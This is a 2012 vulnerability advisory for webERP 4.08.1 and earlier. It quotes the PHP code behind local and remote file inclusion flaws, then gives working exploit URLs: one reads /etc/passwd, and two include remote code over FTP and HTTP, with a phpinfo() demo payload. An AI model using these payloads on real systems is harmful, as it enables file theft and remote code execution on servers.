:::::::-. ...::::::.:::.
;;, `';, ;; ;;;`;;;;,`;;;
`[[ [[[[' [[[[[[[[. '[[
$$,$$$$$$$$$$ "Y$c$$
888_,o8P'88.d888888Y88
MMMMP"` "YmmMMMM""MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-06-27]
###################################################################
# [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability#
###################################################################
#
# Script: "Accounting & Best Practice Business Administration System"
#
# Vendor: http://www.weberp.org/
# Download: http://sourceforge.net/projects/web-erp/files/
#
# File: ./webERP/index.php (line: 4)
# 1<?php
# 2$PageSecurity=0;
# 3
# 4include('includes/session.inc');// 1
#..cut..
#
# File: ./webERP/includes/session.inc (lines: 4-16)
#..cut..
# 4if (!isset($PathPrefix)) {// 2
# 5$PathPrefix='';
# 6}
# 7
# 8
# 9if (!file_exists($PathPrefix . 'config.php')){// 3
#10$rootpath = dirname(htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'));
#11if ($rootpath == '/' OR $rootpath == "\\") {
#12$rootpath = '';
#13}
#14header('Location:' . $rootpath . '/install/index.php');
#15}
#16include($PathPrefix . 'config.php');// 4 [LFI]/[RFI]
#..cut..
#
# [LFI] ( magic_quotes_gpc = Off; )
# Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00
#
# [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )
# It is possible to bypass line: (!file_exists($PathPrefix . 'config.php')),
# when we use some url wrappers. For example ftp://
# Example:
#
# dun@rd01 ~ $ cat ./config.php
#<?php phpinfo(); ?>
# dun@rd01 ~ $ ftp ftp.server.com
#Connected to ftp.server.com.
#Name (ftp.server.com): user
#331 User user OK. Password required
#Password:
#230 OK. Current restricted directory is /
#ftp> put config.php
#local: config.php remote: config.php
#200 PORT command successful
#226 File successfully transferred
#ftp> quit
#221 Logout.
#
# Now we can use url:
# Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/
# In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist.
# If exist, then include it.
#
###################################################################
#
# [RFI #2] ( allow_url_include = On; register_globals = On; )
#
# File: ./webERP/includes/LanguageSetup.php (lines: 29-84)
#..cut..
#29if (!function_exists('gettext')) {
#..cut..
#34require_once($PathPrefix . 'includes/php-gettext/streams.php');
#..cut..
#64} else {
#65include($PathPrefix . 'includes/LanguagesArray.php');
#..cut..
#84}
#..cut..
#
# Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?
#
### [ dun / 2012 ] #####################################################